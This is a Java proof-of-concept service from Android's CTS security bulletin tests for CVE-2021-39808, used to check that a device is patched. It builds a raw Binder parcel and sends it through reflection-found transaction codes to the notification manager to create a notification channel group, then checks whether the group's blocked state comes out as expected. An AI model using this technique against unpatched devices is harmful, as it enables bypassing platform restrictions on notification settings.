hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java

/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts.CVE_2021_39808;

import android.app.INotificationManager;
import android.app.NotificationChannelGroup;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.os.Parcel;
import android.os.ServiceManager;
import android.text.TextUtils;

import java.lang.reflect.Method;

public class PocService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        try {
            super.onCreate();
            setResult(getResources().getInteger(R.integer.fail),
                    getResources().getString(R.string.vulnerableMessage));
            createNotificationGroup();
        } catch (Exception e) {
            setResult(getResources().getInteger(R.integer.assumptionFailure),
                    e.getMessage());
        }
    }

    void createNotificationGroup() throws Exception {
        IBinder binder = ServiceManager
                .getService(getResources().getString(R.string.notification));
        int serviceId = getTransactionCode(
                getResources().getString(R.string.functionName));
        if (serviceId == -1) {
            setResult(getResources().getInteger(R.integer.assumptionFailure),
                    getString(R.string.errorNoMethodFound));
            return;
        } else if (serviceId == -2) {
            setResult(getResources().getInteger(R.integer.assumptionFailure),
                    getString(R.string.errorTargetMethodNotFound));
            return;
        }
        createNotificationGroup(binder, serviceId);
        NotificationManager notificationManager = (NotificationManager) getSystemService(
                NOTIFICATION_SERVICE);
        NotificationChannelGroup notificationChannelGroup = notificationManager
                .getNotificationChannelGroup(
                        getResources().getString(R.string.groupId));
        if (!notificationChannelGroup.isBlocked()) {
            setResult(getResources().getInteger(R.integer.pass),
                    getResources().getString(R.string.passMessage));
        }
    }

    int getTransactionCode(String methodName) {
        int txCode = IBinder.FIRST_CALL_TRANSACTION;
        String txName = INotificationManager.Stub
                .getDefaultTransactionName(txCode);
        if (txName == null) {
            return -1;
        }
        while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
            txName = INotificationManager.Stub
                    .getDefaultTransactionName(++txCode);
            if (txName.equals(methodName)) {
                break;
            }
        }
        if (txName == null) {
            return -2;
        }
        return txCode;
    }

    void createNotificationGroup(IBinder binder, int code) throws Exception {
        String description = binder.getInterfaceDescriptor();
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        data.writeInterfaceToken(description);
        data.writeString(this.getPackageName());
        data.writeInt(getResources().getInteger(R.integer.setFlag));
        data.writeInt(getResources().getInteger(R.integer.setFlag));
        data.writeString(NotificationChannelGroup.class.getName());
        data.writeInt(getResources().getInteger(R.integer.setFlag));
        data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
        data.writeString(getResources().getString(R.string.groupId));
        TextUtils.writeToParcel(getResources().getString(R.string.group), data,
                getResources().getInteger(R.integer.setFlag));
        data.writeByte((byte) getResources().getInteger(R.integer.value));
        data.writeInt(getResources().getInteger(R.integer.falseVal));
        data.writeInt(getResources().getInteger(R.integer.setFlag));
        boolean val = (boolean) binder.transact(code, data, reply,
                getResources().getInteger(R.integer.value));
        if (!val) {
            setResult(getResources().getInteger(R.integer.assumptionFailure),
                    getResources().getString(R.string.illegalCode));
        }
        reply.readException();
    }

    private void setResult(int result, String message) {
        try {
            SharedPreferences sh = getSharedPreferences(
                    getString(R.string.sharedPreference), Context.MODE_PRIVATE);
            SharedPreferences.Editor edit = sh.edit();
            edit.putInt(getString(R.string.resultKey), result);
            edit.putString(getString(R.string.messageKey), message);
            edit.commit();
        } catch (Exception e) {
            // ignore exception
        }
    }
}